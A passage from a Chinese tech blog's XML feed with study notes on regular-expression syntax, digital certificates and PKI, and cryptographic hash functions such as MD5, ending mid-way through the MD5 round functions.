这样的元字符匹配多个数量的字符,在正则表达式中,使用来表示重复的元字符也叫做限定符,主要有以下几个:</p><figure class="highlight excel"><table><tr><td class="code"><pre><span class="line">*与前面使用的元字符连接,表示前一个使用的元字符表示的字符匹配任意次(零次或多次)</span><br><span class="line">+与*类似,但是+匹配一次或多次</span><br><span class="line">?与*类似,但是是匹配重复一次或者零次</span><br><span class="line">{<span class="built_in">n</span>}重复<span class="built_in">n</span>次</span><br><span class="line">{<span class="built_in">n</span>,}重复<span class="built_in">n</span>次或更多次</span><br><span class="line">{<span class="built_in">n</span>,m}重复<span class="built_in">n</span>到m次</span><br></pre></td></tr></table></figure><p>比如,表示匹配xiaoZ后跟1个或者更多数字使用下列正则表达式:</p><figure class="highlight livescript"><table><tr><td class="code"><pre><span class="line">xiaoZ<span class="string">\d+</span></span><br></pre></td></tr></table></figure><p>上述所使用的重复限定符中,只是对单个字符进行重复,如果需要对于多个字符进行重复呢?</p><p>这个时候需要使用的就是分组了,如果在匹配一个字符串时,需要匹配的是满足某串字符重复多次的字符串时该如何匹配?这里使用的就是分组,其实叫做分组可能并不是很准确,倒不如理解为分组重复,即对于某种特定的规则,需要重复匹配多次。</p><p>分组中使用的是小括号结合上述所说的限定符,如果需要表示 ‘xiaoZ’ 重复3次则使用:</p><figure class="highlight clojure"><table><tr><td class="code"><pre><span class="line">(<span class="name">xiaoZ</span>){<span class="number">3</span>}</span><br></pre></td></tr></table></figure><p>如果需要匹配IP地址,则使用下列正则表达式:</p><figure class="highlight angelscript"><table><tr><td class="code"><pre><span class="line">(\d{<span class="number">1</span>,<span class="number">3</span>}\.){<span class="number">3</span>}\d{<span class="number">1</span>,<span class="number">3</span>}</span><br></pre></td></tr></table></figure><p>很显然,上述正则表达式只是简单的匹配,而对于IP地址来说,对于每一位的最大值都是有固定规定的,所以需要进行一些比较的操作,可以使用下列正则表达式(其中可能使用了后面才讲到的字符,可以先跳过,随后返回进行分析):</p><figure class="highlight angelscript"><table><tr><td class="code"><pre><span class="line">((<span class="number">2</span>[<span class="number">0</span><span class="number">-4</span>]\d|<span class="number">25</span>[<span class="number">0</span><span class="number">-5</span>]|[<span class="number">01</span>]?\d\d?)\.){<span class="number">3</span>}(<span class="number">2</span>[<span class="number">0</span><span class="number">-4</span>]\d|<span class="number">25</span>[<span class="number">0</span><span class="number">-5</span>]|[<span class="number">01</span>]?\d\d?)</span><br></pre></td></tr></table></figure><h3 id="后向引用">后向引用</h3><p>那么这里又存在另外一个问题了,如果我现在在一个字符串中,某串字符可能重复多次,但是在不同的地方又该如何表示?此时简单的使用重复与分组已经用处不大,所以需要使用另外一种表示方式,即后向应用。</p><p>在正则表达式中,后向引用用于重复搜索前面某个分组匹配的文本。其用法为:使用小括号指定一个子表达式后,匹配这个子表达式的文本(也就是此分组捕获的内容)可以在表达式或其它程序中作进一步的处理。默认情况下,每个分组会自动拥有一个组号,规则是:从左向右,以分组的左括号为标志,第一个出现的分组的组号为1,第二个为2,以此类推。</p><p>举个例子进行说明</p><figure class="highlight taggerscript"><table><tr><td class="code"><pre><span class="line"><span class="symbol">\b</span>(<span class="symbol">\w</span>+)<span class="symbol">\b</span><span class="symbol">\s</span>+<span class="symbol">\1</span><span class="symbol">\b</span></span><br></pre></td></tr></table></figure><p>可以用来匹配重复的单词,像go go, 或者kitty kitty。这个表达式首先是一个单词,也就是单词开始处和结束处之间的多于一个的字母或数字(\b(\w+)\b),这个单词会被捕获到编号为1的分组中,然后是1个或几个空白符(\s+),最后是分组1中捕获的内容(也就是前面匹配的那个单词)(\1)</p><p>当然,对于组名的指定,也可以自己进行指定,比如上述匹配单词,则指定一个子表达式的组名为Word,需要使用这样的语法:(?<Word>\w+)(或者把尖括号换成’也行:(?‘Word’\w+)),这样就把\w+的组名指定为Word了。要反向引用这个分组捕获的内容,也可以使用\k<Word>,所以上一个例子也可以写成这样:</p><figure class="highlight taggerscript"><table><tr><td class="code"><pre><span class="line"><span class="symbol">\b</span>(?<Word><span class="symbol">\w</span>+)<span class="symbol">\b</span><span class="symbol">\s</span>+<span class="symbol">\k</span><Word><span class="symbol">\b</span></span><br></pre></td></tr></table></figure><p>另外,使用小括号的时候,还有很多特定用途的语法。如下:</p><figure class="highlight sqf"><table><tr><td class="code"><pre><span class="line">捕获</span><br><span class="line">(<span class="built_in">exp</span>)匹配<span class="built_in">exp</span>,并捕获文本到自动命名的组里</span><br><span class="line">(?<<span class="built_in">name</span>><span class="built_in">exp</span>)匹配<span class="built_in">exp</span>,并捕获文本到名称为<span class="built_in">name</span>的组里,也可以写成(?<span class="string">'name'</span><span class="built_in">exp</span>)</span><br><span class="line">(?:<span class="built_in">exp</span>)匹配<span class="built_in">exp</span>,不捕获匹配的文本,也不给此分组分配组号</span><br><span class="line">零宽断言</span><br><span class="line">(?=<span class="built_in">exp</span>)匹配<span class="built_in">exp</span>前面的位置</span><br><span class="line">(?<=<span class="built_in">exp</span>)匹配<span class="built_in">exp</span>后面的位置</span><br><span class="line">(?!<span class="built_in">exp</span>)匹配后面跟的不是<span class="built_in">exp</span>的位置</span><br><span class="line">(?<!<span class="built_in">exp</span>)匹配前面不是<span class="built_in">exp</span>的位置</span><br><span class="line">注释</span><br><span class="line">(?<span class="meta">#comment)这种类型的分组不对正则表达式的处理产生任何影响,用于提供注释让人阅读</span></span><br></pre></td></tr></table></figure><h3 id="预定义字符组">预定义字符组</h3><p>上述正则表达式中,所用到的匹配都是对于某一类字符进行匹配,那么如果需要编写一个程序,查找一串字符串中包含有 ‘abc’ 三个字母的个数有多少个需要如何表示呢?在正则表达式中,可以通过将字符预定义为类来匹配指定的字符,格式为 ‘[需要匹配的字符集]’ ,如上述例子则使用 ‘[abc]’ 匹配三个字母中任意一个,而这样的字符集结合限定符进行使用,则能够更好的匹配一些复杂的字符串。</p><p>除了直接指定字符外,也可以指定字符的范围,如使用 ‘[0-9]’ 匹配0到9的数字,’[a-z0-9A-Z]’ 则与 ‘\w’ 具有同样含义。(注意这里使用的不同范围直接写在一起)。</p><h3 id="分枝条件">分枝条件</h3><p>先看一个例子:</p><figure class="highlight angelscript"><table><tr><td class="code"><pre><span class="line">\(?<span class="number">0</span>\d{<span class="number">2</span>}[) -]?\d{<span class="number">8</span>}</span><br><span class="line"></span><br><span class="line">这个表达式可以匹配几种格式的电话号码,</span><br><span class="line">比如(<span class="number">010</span>)<span class="number">88886666</span>,或<span class="number">022</span><span class="number">-22334455</span>,或<span class="number">02912345678</span>等。</span><br><span class="line"></span><br><span class="line">首先是一个转义字符\(,它能出现<span class="number">0</span>次或<span class="number">1</span>次(?)</span><br><span class="line">然后是一个<span class="number">0</span>,后面跟着<span class="number">2</span>个数字(\d{<span class="number">2</span>})</span><br><span class="line">然后是)或-或空格中的一个,它出现<span class="number">1</span>次或不出现(?),最后是<span class="number">8</span>个数字(\d{<span class="number">8</span>})</span><br></pre></td></tr></table></figure><p>上述对于电话号码进行匹配的正则表达式,看似挺不错,但是观察可以看到,这里因为 ‘(’ 和 ‘)’ 中使用的是 ‘?’ 匹配每次使用0次或1次,则如果现在给出的是 ‘010)12345678’ ,虽然给出的电话号码是错误的,但是依旧是符合这个正则表达式的。如何解决这个问题呢?</p><p>对上述问题进行分析,出现这样问题的原因在于对括号或一些可有可无的字符的匹配存在问题,类似于一个排列问题,符合上述正则表达式的排列有8种(’(?’ 为2,’[) -]?'为4,相乘为8),但是其实我们需要匹配的电话号码只是这8种中的一部分,所以可以我们需要的那几种排列列出,满足这几种排列任意一种的正则表达式的字符串即可匹配。而在将这几种进行排列时,使用的就是分枝条件,这里使用的符号为 ‘|’ ,如下列正则表达式:</p><figure class="highlight tex"><table><tr><td class="code"><pre><span class="line">0<span class="tag">\<span class="name">d</span><span class="string">{2}</span></span>-<span class="tag">\<span class="name">d</span><span class="string">{8}</span></span>|0<span class="tag">\<span class="name">d</span><span class="string">{3}</span></span>-<span class="tag">\<span class="name">d</span><span class="string">{7}</span></span></span><br></pre></td></tr></table></figure><p>这一正则表达式则是将两种排列分别列出,使用’|’ 符号进行连接,用以匹配两种以连字号分隔的电话号码:一种是三位区号,8位本地号(如010-12345678),一种是4位区号,7位本地号(0376-2233445)。</p><p>再比如:</p><figure class="highlight tex"><table><tr><td class="code"><pre><span class="line"><span class="tag">\<span class="name">(</span></span>0<span class="tag">\<span class="name">d</span><span class="string">{2}</span></span><span class="tag">\<span class="name">)</span><span class="string">[- ]</span></span>?<span class="tag">\<span class="name">d</span><span class="string">{8}</span></span>|0<span class="tag">\<span class="name">d</span><span class="string">{2}</span><span class="string">[- ]</span></span>?<span class="tag">\<span class="name">d</span><span class="string">{8}</span></span></span><br></pre></td></tr></table></figure><p>这个表达式匹配3位区号的电话号码,其中区号可以用小括号括起来,也可以不用,区号与本地号间可以用连字号或空格间隔,也可以没有间隔。你可以试试用分枝条件把这个表达式扩展成也支持4位区号的。</p><p>这里需要注意的是,在使用分枝条件时,需要使用各个条件(排列)的使用顺序,在使用含有多个条件的正则表达式进行匹配时,只会对第一个满足了的条件进行匹配。如上述使用的匹配电话号码的分枝条条件,满足前一条件时,则不会再去匹配其余条件。</p><h3 id="反义">反义</h3><p>上述对各种不同的元字符进行了介绍,那么正如数学中所学的补集一般,有时需要使用正则表达式来匹配除了某种或某个字符外的所有字符,则需要使用反义字符来表示,常用的反义字符如下:</p><figure class="highlight livescript"><table><tr><td class="code"><pre><span class="line"><span class="string">\W</span>匹配任意不是字母,数字,下划线,汉字的字符</span><br><span class="line"><span class="string">\S</span>匹配任意不是空白符的字符</span><br><span class="line"><span class="string">\D</span>匹配任意非数字的字符</span><br><span class="line"><span class="string">\B</span>匹配不是单词开头或结束的位置</span><br><span class="line">[^x]匹配除了x以外的任意字符</span><br><span class="line">[^abc]匹配除了abc这几个字母以外的任意字符</span><br></pre></td></tr></table></figure><p>比如: ‘\S+’ 匹配不包含空白符的字符串</p><h2 id="结语">结语</h2><p>对正则表达式的简单介绍也就到这里了,也就仅限于简单介绍了,认真看完的话,应该已经能够看懂一些正则表达式,也能自己写一些了,但是毕竟写的不是很深入,也可能存在一些问题,请包涵,另外的话,如果有想自己深入去看一些关于正则表达式的东西的话,推荐看看<a href="%E5%85%B3%E4%BA%8E%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E8%AF%AD%E8%A8%80%E5%85%83%E7%B4%A0%E7%9A%84MSDN%E5%9C%A8%E7%BA%BF%E6%96%87%E6%A1%A3">关于正则表达式语言元素的MSDN在线文档</a></p>]]></content>
<summary type="html">
很久之前便接触过正则,也用过不少,但是也从来没自己系统性总结下,反而每次都是去搜索别人的博客,突发奇想问了下CTF队伍中同学是否常使用正则表达式,发现还是挺重要的,也想对这块进行一些系统性的总结,涉及的内容可能会比较浅,会尽量通俗易懂,结合例子让读者更能理解。
</summary>
<category term="编码与开发" scheme="http://www.xiaozblog.top/categories/%E7%BC%96%E7%A0%81%E4%B8%8E%E5%BC%80%E5%8F%91/"/>
<category term="CTF" scheme="http://www.xiaozblog.top/tags/CTF/"/>
<category term="网络安全理论" scheme="http://www.xiaozblog.top/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E7%90%86%E8%AE%BA/"/>
<category term="字符串操作" scheme="http://www.xiaozblog.top/tags/%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%93%8D%E4%BD%9C/"/>
<category term="开发" scheme="http://www.xiaozblog.top/tags/%E5%BC%80%E5%8F%91/"/>
</entry>
<entry>
<title>密码学学习-数字证书与PKI</title>
<link href="http://www.xiaozblog.top/2019/10/16/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%AD%A6%E4%B9%A0-%E6%95%B0%E5%AD%97%E8%AF%81%E4%B9%A6%E4%B8%8EPKI/"/>
<id>http://www.xiaozblog.top/2019/10/16/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%AD%A6%E4%B9%A0-%E6%95%B0%E5%AD%97%E8%AF%81%E4%B9%A6%E4%B8%8EPKI/</id>
<published>2019-10-16T04:09:48.000Z</published>
<updated>2020-06-11T14:04:58.000Z</updated>
<content type="html"><![CDATA[<p>接上一篇杂凑函数,继续总结,这一篇主要是对数字签名、数字证书的介绍。主要是一些基本概念的介绍。</p><h2 id="基本概念">基本概念</h2><h3 id="数字签名">数字签名</h3><p>数字签名(又称公钥数字签名)是只有信息的发送者才能产生的别人无法伪造的一段数字串,这段数字串同时也是对信息的发送者发送信息真实性的一个有效证明。通过非对称加密算法和MD5、SHA256等消息摘要算法对数据进行签名,用于表明身份以及防止篡改。</p><h3 id="数字证书">数字证书</h3><p>数字证书是指在互联网通讯中标志通讯各方身份信息的一个数字认证,人们可以在网上用它来识别对方的身份。因此数字证书又称为数字标识。数字证书对网络用户在计算机网络交流中的信息和数据等以加密或解密的形式保证了信息和数据的完整性和安全性。数字证书是一种数字文档,其中包含公钥,有关与之关联的实体的一些信息以及来自证书颁发者的数字签名。</p><h3 id="PKI">PKI</h3><p>PKI(Public Key Infrastructure)是将公钥与实体(例如个人和组织)的各自身份绑定的一种安排。绑定是通过证书颁发机构(CA)处的证书注册和颁发过程来建立的。以下为PKI中的一些基本概念:</p><ul><li>数字证书认证机构CA: 负责发放和管理数字证书的权威机构,并作为电子商务交易中受信任的第三方,承担公钥体系中公钥的合法性检验的责任。</li><li>注册机构RA: 注册机构(RA)RA是CA的证书发放、管理的延伸。它负责证书申请者的信息录入、审核以及证书发放等工作;同时,对发放的证书完成相应的管理功能。发放的数字证书可以存放于IC卡、硬盘或软盘等介质中。RA系统是整个CA中心得以正常运营不可缺少的一部分。在RA的下层还可以有多个业务受理点(RS)。</li><li>根证书: 属于根证书颁发机构(CA)的公钥证书,是在公开密钥基础建设中,信任链的起点</li><li>证书链: 一连串的数字证书,由根证书为起点,透过层层信任,使终端实体证书的持有者可以获得转授的信任,以证明身份。</li><li>自签名证书: 一个身份认证证书, 此证书由一个机构签发, 此机构的身份由其自身认证。</li></ul><h2 id="数字签名原理">数字签名原理</h2><p>数字签名一般使用了非对称加密算法和消息摘要算法结合来完成数据安全性的验证。由于数据在网络的传输途中有可能遭遇篡改,如何证明消息是发送方发给接收方,这是数字签名的主要作用之一。</p><h3 id="发送方操作">发送方操作</h3><p>发送方主要准备如下内容:</p><ul><li>待发送的数据</li><li>使用某种消息摘要算法对待发送的数据进行运算获取的特定长度的消息摘要,可以理解为数字指纹,是对待发送数据的身份验证</li><li>准备一对非对称密钥:私钥必须发送方自行严格保管,这是安全的重中之重。公钥则可以公开的形式进行分享,需要注意的是这也是安全的原则之一,需要保证用户能够获取真正的公钥。</li><li>签名:使用私钥对数字指纹进行加密,加密后的指纹就是发送方的签名,使用公钥可以获取此数字指纹内容</li><li>然后,发送方就可以将数据和签名在网络上发送了</li></ul><h3 id="接收方操作">接收方操作</h3><p>接收方从网络上获取传输的数据和签名,然后以安全的方式获取发送方的公钥。然后顺次做如下事情就可以确认数据是否被篡改了:</p><ul><li>使用公钥对签名进行解密,获取数据的数字指纹</li><li>使用相同的摘要算法对数据进行运算,获取消息摘要</li><li>如果自行计算获取的消息摘要和通过使用公钥对签名解密获取的数字指纹一致,则能证明此内容未经其他人所篡改。</li></ul><h3 id="常见风险">常见风险</h3><p>即使使用上述操作,仍然有被其他人所篡改的风险,只要如下内容一旦攻破,所谓的安全也只是形同虚设。</p><ul><li>接收方使用的公钥必须要和发送方进行严格确认,以保证此证书并非被别有居心的中间人所替换</li><li>发送者的私钥必须严格保护,绝对避免泄露,这是身份的标识。</li></ul><p>比如一旦发送者的私钥被泄漏,中间人只需要以网络攻击的方式替换发给接收方的内容即可,基本可随意操作,因为拥有发送方私钥的他基本上就等同与发送方。<br>另外也可以从接收方下手,如果接收方使用的是中间人所替代的自己的公钥,辅以替换发给接收方的内容,使用自己的私钥和篡改的数据进行签名,自然一点问题都没有。</p><p>在实际的场景中,还是后一种的风险一般更大,所以从接收方而言,确认使用的证书的有效性和安全性非常重要,所以这也是CA机构存在的重要原因,而使用自签名证书的情况下,保证接收方使用的公钥的正确性则是实际使用中所需要注意的。</p><h2 id="公钥基础设施-PKI">公钥基础设施 PKI</h2><p>在密码学中,PKI是一种机制,它将公钥与实体(如个人和组织)的各自身份绑定在一起。这种约束是通过在证书颁发机构登记和颁发证书的程序来确定的(CA)。</p><h3 id="PKI-CA架构">PKI/CA架构</h3><p>完整的PKI/CA系统如下部分:</p><ul><li>安全服务器:安全服务器面向普通用户,用于提供证书申请、浏览、证书撤销列表、证书下载等安全服务;用户需要首先得到安全服务器的证书(该证书由CA颁发);</li><li>注册机构RA:在CA体系结构中起承上启下的作用,一方面向CA转发安全服务器传输过来的证书申请请求,另一方面向LDAP服务器和安全服务器转发CA颁发的数字证书和证书撤销列表(CRL)。</li><li>LDAP服务器:Lightweight Directory Access Protocol(轻量目录访问协议),提供目录浏览服务,负责将注册机构服务器RA传输过来的用户信息以及数字证书加入到服务器上。用户通过访问LDAP服务器就能够得到其他用户的数字证书。</li><li>CA服务器:整个证书机构的核心,负责证书的签发。CA首先产生自身的私钥和公钥,然后生成数字证书,并且将数字正常传输给安全服务器。CA还负责为安全服务器、RA服务器生成数字证书。</li><li>数据库服务器:CA中的核心部分,用于CA中数据(如密钥和用户信息等)、日志、统计信息的存储和管理。</li></ul><h3 id="证书签发过程">证书签发过程</h3><p><img src="/image/201910_pki/3.png" alt=""></p><ul><li>用户申请:用户获取CA的数字证书(根证书),与安全服务器建立连接;生成自己的公钥和私钥,将公钥和自己的身份信息提交给安全服务器,安全服务器将用户的申请信息传送给RA服务器。</li><li>RA审核:RA收到用户的申请,用户向RA证明自己的身份,RA进行核对。如果RA同意用户申请证书的请求,则对证书申请信息做数字签名;否则拒绝用户的申请。</li><li>CA发行证书:RA将用户申请和RA签名传输给CA,CA对RA数字签名做认证,如果验证通过,则同意用户请求,颁发证书,然后将证书输出。如果验证不通过,则拒绝证书申请。</li><li>RA转发证书:RA从CA得到新的证书,首先将证书输出到LDAP服务器以提供目录浏览,再通知用户证书发行成功,告知证书序列号,到指定的网址去下载证书。</li><li>用户证书获取:用户使用证书序列号去指定网址下载自己的数字证书,只有持有与申请时提交的公钥配对的私钥才能下载成功。</li></ul><h3 id="证书域">证书域</h3><ul><li>Version版本:v1只支持基本字段;v2添加唯一标识符;v3添加扩展</li><li>Serial Number序列号:非序列(不可预测),并包含至少20位熵,以防御选定的前缀攻击的证书签名。</li><li>Signature Algorithm签名算法</li><li>Issuer发行者</li><li>Validity有限期</li><li>Subject拥有者</li><li>Public key公钥</li></ul><h3 id="证书验证方法">证书验证方法</h3><ul><li>域名验证(DV):基于对域名控制的证明。在大多数情况下,这意味着发送确认电子邮件到一个批准的电子邮件地址。证书颁发机构CA只需对申请者是否拥有域名所有权进行核实,审核流程简单,甚至有些CA会自动验证。DV证书申请和下发的速度非常快,短则10分钟即可。基于对域的控制权证明。 在大多数情况下,这意味着向确认的电子邮件地址之一发送确认电子邮件。</li><li>组织验证(OV):要求身份和真实性验证。除了验证域名所有权外,还需要验证网站所有单位的真实身份,审核相对DV证书来说更严 格一些。企业或组织机构申请OV证书,需要提交相应的认证资料,由CA人工审核,一般 需要5~7天。需要身份和真实性验证。</li><li>扩展验证(EV):要求身份和真实性验证,但要求非常严格</li></ul><h3 id="证书撤销">证书撤销</h3><p>当PKI中某实体的私钥被泄漏时,泄密私钥对应的公钥证书应被作废。或者如果证书中包含的证书持有者和某组织的关系已经中止,相应的公钥证书也应该被作废。</p><p><img src="/image/201910_pki/4.png" alt=""></p><ul><li>应尽快以电话或书面文件方式通知相应证书的签发CA,在密钥泄漏的情况下,应由泄密私钥的持有者通知CA</li><li>在关系中止的情况下,由原关系中组织方或相应的安全机构通知相应的RA或CA</li><li>如果RA得到通知,RA应通知相应的CA</li><li>一旦请求得到认证,CA在数据库中将该证书标记为已作废,并在下次发布CRL时加入该证书序列号及其作废时间</li></ul><h3 id="证书延期">证书延期</h3><p>每个扩展由唯一的对象标识符(OID)、临界度指示符和值组成。必须理解并成功处理标记为关键的扩展;否则必须拒绝整个证书。</p><h2 id="基于身份的密码学-IBE">基于身份的密码学(IBE)</h2><p>基于身份标识的密码系统,是一种非对称的公钥密码体系。</p><p>对于传统的公钥密码体系,由于公钥是一串没有意义的随机数,所以为了确定公钥的拥有者,防止恶意用户欺骗加密者的行为,引入了一个可信第三方(有点类似于证书里面的CA)。第三方维护一个大的表格,表格中存放各个用户的身份,以及其所对应的公钥信息。这种方法虽然很好的解决了公钥区分的问题,但是当用户数量过多,这个表格的维护就变得很困难。因此研究者提出,使用用户的身份作为公钥,从而研究出了基于身份的密码体系(IBE)。</p><p>如果我们用一个表格来描述的话,与一般的公钥体制相比,IBE中各个参与方的能力具有一定的变化:</p><table><thead><tr><th></th><th>Public Key Encryption</th><th>Identity-Based Encryption</th></tr></thead><tbody><tr><td>私钥产生</td><td>接收者</td><td>PKG</td></tr><tr><td>公钥管理</td><td>可信第三方</td><td>无</td></tr></tbody></table><h4 id="IBE相关概念">IBE相关概念</h4><p>首先假设存在一个可信的密钥生成中心(trusted key generation center,KGG);用户选择他的名字(或者是,网络地址,所在街道地址门牌号,电话号码)作为公钥,相应的私钥由KGG计算出来分配给每个加入网络中的用户。IBE有点类似于理想的邮件系统:如果你知道某个人的姓名和地址,你可以发给他只有他才能读的信,你可以认证他签的签名。</p><ul><li>Setup(k) —>PK,MSK:建立算法以安全参数k为输入,输出为公共参数PK和主密钥MSK。该算法由PKG完成,公布公共参数PK,保存主密钥MSK。</li><li>KeyGen(PK,MSK,ID)—>SK(ID):密钥提取算法以公共参数PK,主密钥MSK和一个身份认证信息ID为输入,输出该身份信息对应的私钥SK(ID)。该算法由PKG完成,并通过安全信道SR(ID)返回给对应用户。</li><li>Encrypt(PK,M,SK(ID))—>CT:加密算法以公共参数PK,明文消息M,以及接受者的身份信息ID为输入,输出密文CT。该算法由信息发送者(加密者)完成,并将密文通过公开信道发送给对应的接受者(解密者)</li><li>Decrypt(PK,CT,SK(ID))—>M:解密算法以公共参数PK,密文CT,私钥SK(ID)为输入,在正确解密时输出明文M,或在不能正确解密时返回符号 ⊥。该算法由接受者(解密者)完成。</li></ul>]]></content>
<summary type="html">
接上一篇杂凑函数,继续总结,这一篇主要是对数字签名、数字证书的介绍。主要是一些基本概念的介绍。
</summary>
<category term="密码学" scheme="http://www.xiaozblog.top/categories/%E5%AF%86%E7%A0%81%E5%AD%A6/"/>
<category term="密码学" scheme="http://www.xiaozblog.top/tags/%E5%AF%86%E7%A0%81%E5%AD%A6/"/>
<category term="网络安全理论" scheme="http://www.xiaozblog.top/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E7%90%86%E8%AE%BA/"/>
</entry>
<entry>
<title>密码学学习-密码杂凑函数</title>
<link href="http://www.xiaozblog.top/2019/10/12/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%AD%A6%E4%B9%A0-%E5%AF%86%E7%A0%81%E6%9D%82%E5%87%91%E5%87%BD%E6%95%B0/"/>
<id>http://www.xiaozblog.top/2019/10/12/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%AD%A6%E4%B9%A0-%E5%AF%86%E7%A0%81%E6%9D%82%E5%87%91%E5%87%BD%E6%95%B0/</id>
<published>2019-10-12T06:43:14.000Z</published>
<updated>2020-06-11T06:13:02.000Z</updated>
<content type="html"><![CDATA[<p>一开学专业课就是密码学,意料之中,但是在课程进行中发现和本科时候学的密码学还是有所区别的,而且自己也已经很多不记得了,趁有空,把一些密码学的东西总结下,也算是对之前内容的复习和对现在正上着的课程的预习了。因为密码学是一门大学科,也没打算将所有的东西都弄懂,能够把一些常用的东西理清楚其实就很不错了,而这一篇主要是对密码杂凑函数的一些总结和概述。</p><h2 id="简介">简介</h2><p>先引用维基上对于杂凑函数的介绍:“密码散列函数(英语:Cryptographic hash function),又译为加密散列函数、密码散列函数、加密散列函数,是散列函数的一种。它被认为是一种单向函数,也就是说极其难以由散列函数输出的结果,回推输入的数据是什么。这样的单向函数被称为“现代密码学的驮马”。这种散列函数的输入数据,通常被称为消息(message),而它的输出结果,经常被称为消息摘要(message digest)或摘要(digest)。”</p><p>简单来说,杂凑函数就是一种单向函数,由输入计算得出结果容易,但是理论上由输出结果计算输入是困难的,另外,杂凑函数也叫hash函数、散列函数等。另外,杂凑函数需符合以下性质:</p><ul><li>抗原像攻击(单向性),对任意给定的hash h,找到满足H(y)=h的y在计算上不可行</li><li>抗第二原像攻击(抗弱碰撞性),对任何给定的分块x,找到满足y≠x且H(x)=H(y)的y在计算上是不可行的</li><li>抗碰撞(抗强碰撞性),找到任何满足H(x)=H(y)的偶对(x,y)在计算上是不可行的</li></ul><p>其中,满足上述条件的为弱Hash函数,如果函数的输出满足伪随机性测试标准,则成为强Hash函数。<br>此外,对于杂凑函数的计算,应该满足以下条件:</p><ul><li>哈希函数应该在CPU/软件和AS IC/硬件上都有效地实现。</li><li>哈希函数的计算速度应该和磁盘IO相当</li><li>短消息或长消息优化设计</li></ul><h2 id="杂凑函数输入输出">杂凑函数输入输出</h2><p><img src="/image/201910_mimahaxi/hashyuanli.png" alt=""></p><p>函数输入:</p><ul><li>输入长度以bit计算</li><li>允许0长度输入</li><li>通常一个给定的哈希函数会规定最大输入长度</li></ul><p>函数输出:</p><ul><li>固定长度输出</li><li>一般输出长度为128/160/256/512位(不同函数)</li><li>同一类哈希函数的算法相似,输出长度和参数不同(比如salt)</li></ul><h2 id="杂凑函数结构">杂凑函数结构</h2><p>对于杂凑函数,目前最常见的为两种,分别为Merkle Damgard结构和海绵结构,其核心思想都在于尽可能将数据原文中的信息扩散到hash值中。</p><h3 id="Merkle-Damgard结构">Merkle Damgard结构</h3><p>算法流程:</p><p><img src="/image/201910_mimahaxi/merkledamgard.png" alt=""></p><ol><li>把消息划分为n个消息块</li><li>对最后一个消息块做长度填充</li><li>每个消息块和一个输入向量做一个运算,把这个计算结果当成下个消息块的输入向量</li><li>IV为初始向量,已知且固定不变</li></ol><p>Merkle Damgard结构是使用地较多的一种杂凑函数结构,其中常见的MD5、SHA1等都是使用这一结构,但是这一结构也有其弊端,攻击者可以利用哈希长度扩展攻击进行破解,当然,在破解该种杂凑函数时需要满足以下条件:</p><ul><li>知道密文secret的长度</li><li>知道一个密文secret的hash值</li></ul><h3 id="海绵(sponge)结构">海绵(sponge)结构</h3><p>海绵结构能够进行数据转换,将任意长的输入转换成任意长的输出。在使用海绵结构前,需要进行预处理,预处理会将数据进行分块,分成大小相同的块,在预处理后,海绵结构主要分为以下两部分:</p><ul><li>吸入阶段(absorbing phase):将块x_i传入算法并处理。</li><li>挤出阶段(squeezing phase):产生一个固定长度的输出</li></ul><p>假设输入为x,核心处理函数为f,则其流程分为以下几步:</p><p><img src="/image/201910_mimahaxi/sponge.png" alt=""></p><ol><li>对输入串x做padding,使其长度能被r整除,将padding后分割成长度为r的块,即x=x_0||x_1||x_2||…||x_t-1。</li><li>初始化一个长度为r+c bit的全零向量。</li><li>输入块x_i,将x_i和向量的前r个bit亦或,然后输入到f函数中处理。</li><li>重复上一步,直至处理完x中的每个块。</li><li>输出长为r的块作为y_0,并将向量输入到f函数中处理,输出y_1,以此类推。得到的Hash序列即为y=y_0||y_1||y_2||…||y_u。对于对应不同输出长度的杂凑函数,只需要在y_0中取出对应长度的前缀即可。</li></ol><p>对于海绵结构,一些较新的杂凑函数,如SHA-3算法等,使用的就是这一结构。</p><h2 id="MD5杂凑函数">MD5杂凑函数</h2><p>MD5是使用最为广泛的杂凑函数之一,其由Ron Rivest设计,在此之前有MD2 MD4,而MD5则是在RFC1321中被提出,使用Merkle Damgard结构,后续成为使用最广泛的哈希算法,其哈希长度为128bits,主要攻击方法为爆破和密码分析。</p><p><img src="/image/201910_mimahaxi/md5.png" alt=""></p><p>将输入信息text的位数按照特定的方法填充至512的整数倍,然后每512位为一个分组M[i]进行处理。每个分组又将分为16个32位的子分组,经过一系列循环后将产4个32位的散列值a, b, c, d,作为下一个分组的输入。最终,将a, b, c, d组合起来即可得到text的MD5值。</p><p>其算法流程如下:</p><ol><li>信息填充<br>对明文信息进行填充0,使其长度mod512=448,因此信息的位长度被扩展为(Nx512+448)。然后再在这个结果后面附加一个以64为二进制表示的填充前信息长度,即此时长度变为 (N+1)*512。</li><li>结构初始化<br>定义一个结果,包含每次需要处理的明文块(512bits)和计算出来的散列值128bits。在散列的整个过程,各个明文块计算的散列值都由其进行传播。</li><li>分组<br>将填充好的明文信息进行分组,每组512位,共 N+1组</li><li>处理分组<br>设置链接变量初值,共四个,每个32位,四组共128位,即密文长度为128位:<br>a = 0x01234567,b = 0x89abcdef, c = 0xfedcba98,d =0x76543210<br>再设A = a,B = b,C = c,D = d<br>进入hash循环运算,循环次数为明文信息的分组数N+1<br>每次循环运算分为4轮,每轮使用不同的函数计算,设其实的512位分组为M,则将其划分为16*32,即16个小分组,在4轮循环中,需要进行对应这16个小分组的16次运算,4轮结束后,将循环后的a,b,c,d值加到A,B,C,D上即得新一轮的链接变量,当所有512位分组都循环结束后,此时的A,B,C,D值即为哈希值。其涉及4个计算公式如下:<br> F(X,Y,Z) =(X&Y)|((~X)&Z)<br> G(X,Y,Z) =(X&Z)|(Y&(~Z))<br> H(X,Y,Z) =X^Y^Z<br> I(X,Y,Z)=Y^(X|(~Z))<br> (&是与,|是或,~是非,^是异或)</li></ol><p>函数说明:<br>如果X、Y和Z的对应位是独立和均匀的,那么结果的每一位也应是独立和均匀的。<br>假设M[j]表示消息的第j个子分组(从0到15),常数ti是4294967296*abs(sin(i))的整数部分,i取值从1到64。</p><p> F(a, b, c, d, M[j], s, ti) 表示 a = b + ((a + F(b, c, d) + Mj + ti) <<< s)<br> GG(a, b, c, d, M[j], s, ti) 表示 